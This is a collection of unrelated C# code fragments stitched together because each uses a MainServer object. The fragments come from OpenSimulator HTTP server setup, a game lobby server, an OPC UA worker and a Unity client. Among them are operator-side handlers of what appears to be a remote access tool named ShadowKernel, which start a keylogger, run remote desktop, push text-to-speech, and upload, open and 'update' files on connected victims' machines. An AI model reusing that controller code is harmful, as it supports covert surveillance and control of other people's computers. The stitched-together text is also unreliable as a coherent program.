//Send text to speech private void btnSendTTS_Click(object sender, EventArgs e) { if (string.IsNullOrWhiteSpace(txtTTSText.Text)) { MessageBox.Show("You must enter text before TTS is heard or sent.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } if (lbConnectedClients.SelectedItems.Count < 0) { MessageBox.Show("Please select a client!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } int ConnectionId = CurrentSelectedID; MainServer.Send(ConnectionId, Encoding.ASCII.GetBytes("[<TTS>]" + txtTTSText.Text)); }
public void AddRegion(Scene scene) { if (m_HttpServer == null) { // There can only be one // m_HttpServer = MainServer.Instance; // // We can use the https if it is enabled if (m_HttpsPort > 0) { m_HttpsServer = MainServer.GetHttpServer(m_HttpsPort); } } scene.RegisterModuleInterface <IUrlModule>(this); scene.EventManager.OnScriptReset += OnScriptReset; }
protected override void StartupSpecific() { if (m_log.IsDebugEnabled) { m_log.DebugFormat("{0} called", System.Reflection.MethodBase.GetCurrentMethod().Name); } SceneManager = SceneManager.Instance; m_clientStackManager = CreateClientStackManager(); Initialize(); m_httpServer = new BaseHttpServer( m_httpServerPort, m_networkServersInfo.HttpUsesSSL, m_networkServersInfo.httpSSLPort, m_networkServersInfo.HttpSSLCN); if (m_networkServersInfo.HttpUsesSSL && (m_networkServersInfo.HttpListenerPort == m_networkServersInfo.httpSSLPort)) { m_log.Error("[REGION SERVER]: HTTP Server config failed. HTTP Server and HTTPS server must be on different ports"); } m_log.InfoFormat("[REGION SERVER]: Starting HTTP server on port {0}", m_httpServerPort); m_httpServer.Start(); MainServer.AddHttpServer(m_httpServer); MainServer.Instance = m_httpServer; // "OOB" Server if (m_networkServersInfo.ssl_listener) { BaseHttpServer server = new BaseHttpServer( m_networkServersInfo.https_port, m_networkServersInfo.ssl_listener, m_networkServersInfo.cert_path, m_networkServersInfo.cert_pass); m_log.InfoFormat("[REGION SERVER]: Starting HTTPS server on port {0}", server.Port); MainServer.AddHttpServer(server); server.Start(); } base.StartupSpecific(); }
public override async Task StartAsync(CancellationToken cancellationToken) { _logger.LogInformation($"Worker started at: {DateTime.Now}"); StringCollection baseAddress = new StringCollection { DiscoveryEndpointUrl }; StringCollection serverCapabilities = new StringCollection { "DA" }; StringCollection discoveryUrls = new StringCollection { "opc.tcp://opc.ua.global.discovery.server:58810/UADiscovery" }; //Initialise _applicationInstanceManager = new ApplicationInstanceManager(ApplicationName, ApplicationUri, baseAddress, serverCapabilities, DiscoveryEndpointUrl, DiscoveryEndpointApplicationUri, discoveryUrls, null, _applicationType, true); try { _mainServer = new MainServer(_applicationInstanceManager); _mainServer.Start(_applicationInstanceManager.ApplicationInstance.ApplicationConfiguration); bool connected = _applicationInstanceManager.ConnectToGlobalDiscoveryServer("opc.tcp://opc.ua.global.discovery.server:58810/UADiscovery", "appadmin", "demo"); if (connected) { _applicationInstanceManager.RegisterApplication(); _applicationInstanceManager.RequestNewCertificatePullMode(); } } catch (Exception ex) { _logger.LogInformation("Exception: ", ex.StackTrace); } await base.StartAsync(cancellationToken); }
public byte[] Register(byte[] data, ClientPeer client, MainServer server) { AccountInfo recive = MessageTool.ProtoBufDataDeSerialize <AccountInfo>(data); bool res = mAccount.GetAccountByAccountId(client.MySQLConn, recive.AccountId); MSGCallBack msg; if (res) { msg = new MSGCallBack(ReturnCode.Fail); } else { mAccount.AddAccount(client.MySQLConn, recive.AccountId, recive.AccountName, recive.Password, 1001, client.ImgPathDic[1001]); client.IsOnLine = true; msg = new MSGCallBack(ReturnCode.Success); } return(MessageTool.ProtoBufDataSerialize(msg)); }
private void Button_Click(object sender, RoutedEventArgs e) { if (!string.IsNullOrWhiteSpace(msg.Text)) { try { MainServer.Send(ConnectionID, Encoding.UTF8.GetBytes("[<MESSAGE>]" + msg.Text)); ContentControl t = new ContentControl(); t.Content = msg.Text + Environment.NewLine + DateTime.Now.ToString("HH:mm"); Style style = this.FindResource("BubbleRightStyle") as Style; t.Style = style; chatPlace.Children.Add(t); msg.Text = ""; scrl.ScrollToBottom(); } catch { } } }
private void Upload_Click(object sender, RoutedEventArgs e) { try { System.Windows.Forms.OpenFileDialog dlg = new System.Windows.Forms.OpenFileDialog(); if (dlg.ShowDialog() != System.Windows.Forms.DialogResult.Cancel) { string FileString = dlg.FileName; byte[] FileBytes; using (FileStream FS = new FileStream(FileString, FileMode.Open)) { FileBytes = new byte[FS.Length]; FS.Read(FileBytes, 0, FileBytes.Length); } MainServer.Send(ConnectionID, Encoding.UTF8.GetBytes("StartFileReceive{" + currentDir.Text + @"\" + Path.GetFileName(dlg.FileName) + "}")); MainServer.Send(ConnectionID, FileBytes); } } catch {} }
private void btnStartServer_Click(object sender, EventArgs e) { if (!MainServer.Active) { try { int Port = Settings.GetPort(); MainServer.Start(Port); lblStatus.ForeColor = Color.Green; lblStatus.Text = "Online"; GetDataLoop.Start(); MessageBox.Show("Server started on port " + Port + ".", "Server Started", MessageBoxButtons.OK, MessageBoxIcon.Information); } catch (Exception EX) { MessageBox.Show("Error: " + EX.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } } }
public void InvokeUpdate() { if (!MainServer.Connected || !GameServer.Connected) { MainServer.Disconnect(); GameServer.Disconnect(); CreateMasterCommunicator(); throw new Exception(Player.Name + " disconnected from main server."); } IEvent[] events = buffer.PopAll(); for (int i = 0; i < events.Length; ++i) { events[i].DoAction(); events[i].Dispose(); } Game.Update(); Update(); }
private void dtgFiles_MouseDoubleClick(object sender, MouseButtonEventArgs e) { try { SettingsServer.sFile a = (SettingsServer.sFile)dtgFiles.SelectedItem; if (a.fExt == "Папка с файлами") { if (currentDir.Text[currentDir.Text.Length - 1] != '\\') { currentDir.Text += "\\"; } CurDir = a.fName; MainServer.Send(ConnectionID, Encoding.UTF8.GetBytes("GetDF{" + currentDir.Text + a.fName + "}")); } else { MainServer.Send(ConnectionID, Encoding.UTF8.GetBytes("TryOpen{" + currentDir.Text + @"\" + a.fName + a.fExt + "}")); } } catch { } }
/// <summary> /// 匹配 /// </summary> public byte[] SatrtMatchingPlayer(byte[] _data, ClientPeer _client, MainServer _server) { _client.IsMatching = true; List <ClientPeer> matchList = new List <ClientPeer>(); do { foreach (var account in _server.OnLineAccountList) { if (account.IsMatching) { matchList.Add(account); } } } while (matchList.Count < 3); if (matchList.Count >= 3) { room = _server.CreatRoom(matchList); } return(MessageTool.ProtoBufDataSerialize("goLobby")); }
protected override void Initialise() { foreach (BaseHttpServer s in MainServer.Servers.Values) { s.Start(); } MainServer.RegisterHttpConsoleCommands(MainConsole.Instance); if (MainConsole.Instance is RemoteConsole) { if (m_consolePort == 0) { ((RemoteConsole)MainConsole.Instance).SetServer(MainServer.Instance); } else { ((RemoteConsole)MainConsole.Instance).SetServer(MainServer.GetHttpServer(m_consolePort)); } } }
public void RegionLoaded(Scene scene) { if (!m_Enabled) { return; } m_Generator = scene.RequestModuleInterface <IMapImageGenerator>(); if (m_Generator == null) { m_Enabled = false; return; } m_log.Info("[WORLDVIEW]: Configured and enabled"); IHttpServer server = MainServer.GetHttpServer(0); server.AddStreamHandler(new WorldViewRequestHandler(this, scene.RegionInfo.RegionID.ToString())); }
//Update Client private void btnUpdateClient_Click(object sender, EventArgs e) { if (lbConnectedClients.SelectedItems.Count < 0) { MessageBox.Show("Please select a client!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } int ConnectionId = CurrentSelectedID; OpenFileDialog OFD = new OpenFileDialog(); OFD.Multiselect = false; OFD.InitialDirectory = Environment.CurrentDirectory + @"\Clients\"; if (OFD.ShowDialog() == DialogResult.OK) { if (!TempDataHelper.CanUpload) { MessageBox.Show("Error: Can not upload multiple files at once.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } else { TempDataHelper.CanUpload = false; string FileString = OFD.FileName; byte[] FileBytes; using (FileStream FS = new FileStream(FileString, FileMode.Open)) { FileBytes = new byte[FS.Length]; FS.Read(FileBytes, 0, FileBytes.Length); } AutoClosingMessageBox.Show("Starting client update.", "Starting Upload", 1000); MainServer.Send(ConnectionId, Encoding.ASCII.GetBytes("StartFileReceive{[UPDATE]" + Path.GetFileName(OFD.FileName) + "}")); Thread.Sleep(80); MainServer.Send(ConnectionId, FileBytes); TempDataHelper.CanUpload = true; } } }
public byte[] JoinRoom(byte[] _data, ClientPeer _client, MainServer _server) { RoomInfo roomInfo = MessageTool.ProtoBufDataDeSerialize <RoomInfo>(_data); MSGCallBack sendMsg = null; foreach (var room in _server.RoomList) { if (roomInfo.RoomId == room.GetRoonInfo.RoomId) { if (room.GetRoonInfo.TotalNum >= room.GetRoonInfo.PlayerNum) { _server.JoinRoom(_client, room); sendMsg = new MSGCallBack(ReturnCode.Success); } else { sendMsg = new MSGCallBack(ReturnCode.Fail); } } } return(MessageTool.ProtoBufDataSerialize(sendMsg)); }
//Open chat with client private void btnOpenChat_Click(object sender, EventArgs e) { if (lbConnectedClients.SelectedItems.Count < 0) { MessageBox.Show("Please select a client!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } int ConnectionId = CurrentSelectedID; MainServer.Send(ConnectionId, Encoding.ASCII.GetBytes("OpenChat")); foreach (Chat C in Application.OpenForms.OfType <Chat>()) { if (C.Visible && C.ConnectionID == ConnectionId) { return; } } C = new Chat(); C.ConnectionID = ConnectionId; C.Text = "Chat - " + ConnectionId; C.Show(); }
static void Main(string[] args) { MainServer server = new MainServer(); //server.Test(); server.MainLoop(); string exitOrder = string.Empty; do { exitOrder = Console.ReadLine(); if (exitOrder.Equals("Connect")) { server.ConnectDB(); } }while (!exitOrder.Equals("Exit")); server.ExitProgram(); }
protected override void StartupSpecific() { m_clientStackManager = CreateClientStackManager(); Initialize(); m_httpServer = new BaseHttpServer( m_httpServerPort, m_networkServersInfo.HttpUsesSSL, m_networkServersInfo.httpSSLPort, m_networkServersInfo.HttpSSLCN); if (m_networkServersInfo.HttpUsesSSL && (m_networkServersInfo.HttpListenerPort == m_networkServersInfo.httpSSLPort)) { m_log.Error("[REGION SERVER]: HTTP Server config failed. HTTP Server and HTTPS server must be on different ports"); } m_log.InfoFormat("[REGION SERVER]: Starting HTTP server on port {0}", m_httpServerPort); m_httpServer.Start(); MainServer.Instance = m_httpServer; // "OOB" Server if (m_networkServersInfo.ssl_listener) { BaseHttpServer server = null; server = new BaseHttpServer( m_networkServersInfo.https_port, m_networkServersInfo.ssl_listener, m_networkServersInfo.cert_path, m_networkServersInfo.cert_pass); // Add the server to m_Servers if (server != null) { m_log.InfoFormat("[REGION SERVER]: Starting HTTPS server on port {0}", server.Port); MainServer.AddHttpServer(server); server.Start(); } } base.StartupSpecific(); }
/// <summary> /// Performs the actual map download operation. /// </summary> /// <param name="localPath">Local path in the operating system.</param> /// <param name="mapFileName"></param> /// <returns></returns> private Map DownloadMap(string mapFileName) { Debugger.Write("Downloading map {0}...", mapFileName); VTankObject.Map map = MainServer.GetProxy().DownloadMap(mapFileName); string title = map.title; int width = map.width; int height = map.height; VTankObject.Tile[] tiles = map.tileData; Map newMap = new Map(title, mapFileName, (uint)width, (uint)height); int size = width * height; for (int y = 0; y < height; ++y) { for (int x = 0; x < width; ++x) { VTankObject.Tile relevantTile = tiles[y * width + x]; newMap.SetTile((uint)x, (uint)y, new Tile( (uint)relevantTile.id, (ushort)relevantTile.objectId, (ushort)relevantTile.eventId, relevantTile.passable, (ushort)relevantTile.height, (ushort)relevantTile.type, (ushort)relevantTile.effect)); } } List <int> buf = new List <int>(); for (int i = 0; i < map.supportedGameModes.Length; i++) { buf.Add(map.supportedGameModes[i]); } newMap.SetGameModes(buf); return(newMap); }
public void Initialise(IConfigSource config) { uint port = MainServer.Instance.Port; IConfig estateConfig = config.Configs["Estates"]; if (estateConfig != null) { if (estateConfig.GetString("EstateCommunicationsHandler", Name) == Name) { m_enabled = true; } else { return; } port = (uint)estateConfig.GetInt("Port", 0); // this will need to came from somewhere else token = estateConfig.GetString("Token", token); } else { m_enabled = true; } m_EstateConnector = new EstateConnector(this, token, port); if (port == 0) { port = MainServer.Instance.Port; } // Instantiate the request handler IHttpServer server = MainServer.GetHttpServer(port); server.AddSimpleStreamHandler(new EstateSimpleRequestHandler(this, token)); }
private void btnStopRD_Click(object sender, EventArgs e) { if (lbConnectedClients.SelectedItems.Count < 0) { MessageBox.Show("Please select a client!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } if (!RDActive) { return; } RDActive = false; if (!bwUpdateImage.IsBusy) { return; } bwUpdateImage.CancelAsync(); int ConnectionId = CurrentSelectedID; MainServer.Send(ConnectionId, Encoding.ASCII.GetBytes("StopRD")); txtStatus.Text = ""; }
protected override void Initialise() { foreach (BaseHttpServer s in MainServer.Servers.Values) { s.Start(); } MainServer.RegisterHttpConsoleCommands(MainConsole.Instance); MethodInfo mi = m_console.GetType().GetMethod("SetServer", BindingFlags.Public | BindingFlags.Instance, null, new Type[] { typeof(BaseHttpServer) }, null); if (mi != null) { if (m_consolePort == 0) { mi.Invoke(MainConsole.Instance, new object[] { MainServer.Instance }); } else { mi.Invoke(MainConsole.Instance, new object[] { MainServer.GetHttpServer(m_consolePort, m_ipaddress) }); } } }
public override void SetUp() { base.SetUp(); // This is an unfortunate bit of clean up we have to do because MainServer manages things through static // variables and the VM is not restarted between tests. uint port = 9999; MainServer.RemoveHttpServer(port); m_engine = new MockScriptEngine(); m_urlModule = new UrlModule(); IConfigSource config = new IniConfigSource(); config.AddConfig("Network"); config.Configs["Network"].Set("ExternalHostNameForLSL", "127.0.0.1"); m_scene = new SceneHelpers().SetupScene(); BaseHttpServer server = new BaseHttpServer(port); MainServer.AddHttpServer(server); MainServer.Instance = server; server.Start(); SceneHelpers.SetupSceneModules(m_scene, config, m_engine, m_urlModule); SceneObjectGroup so = SceneHelpers.AddSceneObject(m_scene); m_scriptItem = TaskInventoryHelpers.AddScript(m_scene.AssetService, so.RootPart); // This is disconnected from the actual script - the mock engine does not set up any LSL_Api atm. // Possibly this could be done and we could obtain it directly from the MockScriptEngine. m_lslApi = new LSL_Api(); m_lslApi.Initialize(m_engine, so.RootPart, m_scriptItem); }
/// <summary> /// Defines the entry point of the application. /// </summary> /// <param name="args">The arguments.</param> static void Main(string[] args) { var url = "http://localhost:8080/"; if (args.Length > 0) { url = args[0]; } using (var server = MainServer.CreateWebServer(url)) { server.RunAsync(); var browser = new System.Diagnostics.Process() { StartInfo = new System.Diagnostics.ProcessStartInfo(url) { UseShellExecute = true } }; browser.Start(); Console.ReadKey(true); } }
public byte[] UpdateInventoryListInfo(byte[] _data, ClientPeer _client, MainServer _server) { List <InventoryInfo> inv = MessageTool.ProtoBufDataDeSerialize <List <InventoryInfo> >(_data); MSGCallBack send = null; if (!isAdded) { for (int i = 0; i < inv.Count; i++) { mInv.AddOrUpdateInventoryInfo(_client.MySQLConn, inv[i], true); } isAdded = true; send = new MSGCallBack(ReturnCode.Success); } else { for (int i = 0; i < inv.Count; i++) { mInv.AddOrUpdateInventoryInfo(_client.MySQLConn, inv[i], false); } send = new MSGCallBack(ReturnCode.Success); } return(MessageTool.ProtoBufDataSerialize(send)); }
//Start keylogger private void btnStartKL_Click(object sender, EventArgs e) { if (lbConnectedClients.SelectedItems.Count < 0) { MessageBox.Show("Please select a client!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } int ConnectionId = CurrentSelectedID; MainServer.Send(ConnectionId, Encoding.ASCII.GetBytes("StartKL")); foreach (Keylogger KL in Application.OpenForms.OfType <Keylogger>()) { if (KL.Visible && KL.ConnectionId == ConnectionId) { return; } } K = new Keylogger(); K.ConnectionId = ConnectionId; K.Text = "Keylogger - " + ConnectionId; K.Show(); }
public void Button_Click(object sender, RoutedEventArgs e) { serverFrm = (Server)wind.server; serverFrm.GetDataLoop.Tick += new System.EventHandler(GetDataLoop_Tick);; ushort port = GetPortSafe(); if (btnListen.Content.ToString() == "Начать прослушивание") { try { MainServer.Start(port); serverFrm.GetDataLoop.Start(); //listenServer.Listen(port, ipv6.IsChecked); ToggleListenerSettings(false); wind.Title = "ShadowKernel"; wind.serverText.Text = "Сервер запущен"; wind.serverInd.Fill = System.Windows.Media.Brushes.Green; } catch (Exception) { //listenServer.Disconnect(); } } else if (btnListen.Content.ToString() == "Остановить прослушивание") { MainServer.Stop(); serverFrm.GetDataLoop.Stop(); serverFrm.dtgClients.Items.Clear(); //listenServer.Disconnect(); ToggleListenerSettings(true); wind.Title = "ShadowKernel - прослушивание [ " + Port.Text + "]"; wind.serverText.Text = "Сервер не запущен"; wind.serverInd.Fill = System.Windows.Media.Brushes.Red; } }
private static string getData(MapTypes data) { Dictionary <MapTypes, string> EncodeMapTypes = new Dictionary <MapTypes, string> { { MapTypes.Person, "people" }, { MapTypes.House, "town" }, { MapTypes.Terrain, "terrain" } }; string ans = ""; var readText = Resources.Load <TextAsset>("JSONs/" + EncodeMapTypes[data]); Debug.Log(readText); try { } catch { } string ans_serv = MainServer.send(readText.text); Close(); Connect3("188.68.221.63", 10000); Debug.Log(ans_serv); return(ans_serv); }
private void lbConnectedClients_SelectedIndexChanged(object sender, EventArgs e) { try { int OldID = CurrentSelectedID; ListViewItem LVI = lbConnectedClients.SelectedItems[0]; CurrentSelectedID = Convert.ToInt16(LVI.SubItems[0].Text); if (OldID != CurrentSelectedID) { if (RDActive) { if (bwUpdateImage.IsBusy) { bwUpdateImage.CancelAsync(); } MainServer.Send(OldID, Encoding.ASCII.GetBytes("StopRD")); RDActive = false; } } } catch { } }
protected override void ReadConfig() { IConfig networkConfig = Config.Configs["Network"]; if (networkConfig == null) { System.Console.WriteLine("ERROR: Section [Network] not found, server can't start"); Environment.Exit(1); } string address = networkConfig.GetString("address", "0.0.0.0"); uint port = (uint)networkConfig.GetInt("port", 0); IPAddress m_ipaddress; if (!IPAddress.TryParse(address, out m_ipaddress)) { m_ipaddress = IPAddress.Any; } if (port == 0) { System.Console.WriteLine("ERROR: No 'port' entry found in [Network]. Server can't start"); Environment.Exit(1); } bool ssl_main = networkConfig.GetBoolean("https_main", false); bool ssl_listener = networkConfig.GetBoolean("https_listener", false); bool ssl_external = networkConfig.GetBoolean("https_external", false); m_consolePort = (uint)networkConfig.GetInt("ConsolePort", 0); BaseHttpServer httpServer = null; // // This is where to make the servers: // // // Make the base server according to the port, etc. // ADD: Possibility to make main server ssl // Then, check for https settings and ADD a server to // m_Servers // if (!ssl_main) { httpServer = new BaseHttpServer(m_ipaddress, port); } else { string cert_path = networkConfig.GetString("cert_path", String.Empty); if (cert_path == String.Empty) { System.Console.WriteLine("ERROR: Path to X509 certificate is missing, server can't start."); Environment.Exit(1); } string cert_pass = networkConfig.GetString("cert_pass", String.Empty); if (cert_pass == String.Empty) { System.Console.WriteLine("ERROR: Password for X509 certificate is missing, server can't start."); Environment.Exit(1); } httpServer = new BaseHttpServer(port, ssl_main, cert_path, cert_pass); } MainServer.AddHttpServer(httpServer); MainServer.Instance = httpServer; // If https_listener = true, then add an ssl listener on the https_port... if (ssl_listener == true) { uint https_port = (uint)networkConfig.GetInt("https_port", 0); m_log.WarnFormat("[SSL]: External flag is {0}", ssl_external); if (!ssl_external) { string cert_path = networkConfig.GetString("cert_path", String.Empty); if (cert_path == String.Empty) { System.Console.WriteLine("Path to X509 certificate is missing, server can't start."); Thread.CurrentThread.Abort(); } string cert_pass = networkConfig.GetString("cert_pass", String.Empty); if (cert_pass == String.Empty) { System.Console.WriteLine("Password for X509 certificate is missing, server can't start."); Thread.CurrentThread.Abort(); } MainServer.AddHttpServer(new BaseHttpServer(https_port, ssl_listener, cert_path, cert_pass)); } else { m_log.WarnFormat("[SSL]: SSL port is active but no SSL is used because external SSL was requested."); MainServer.AddHttpServer(new BaseHttpServer(m_ipaddress, https_port)); } } }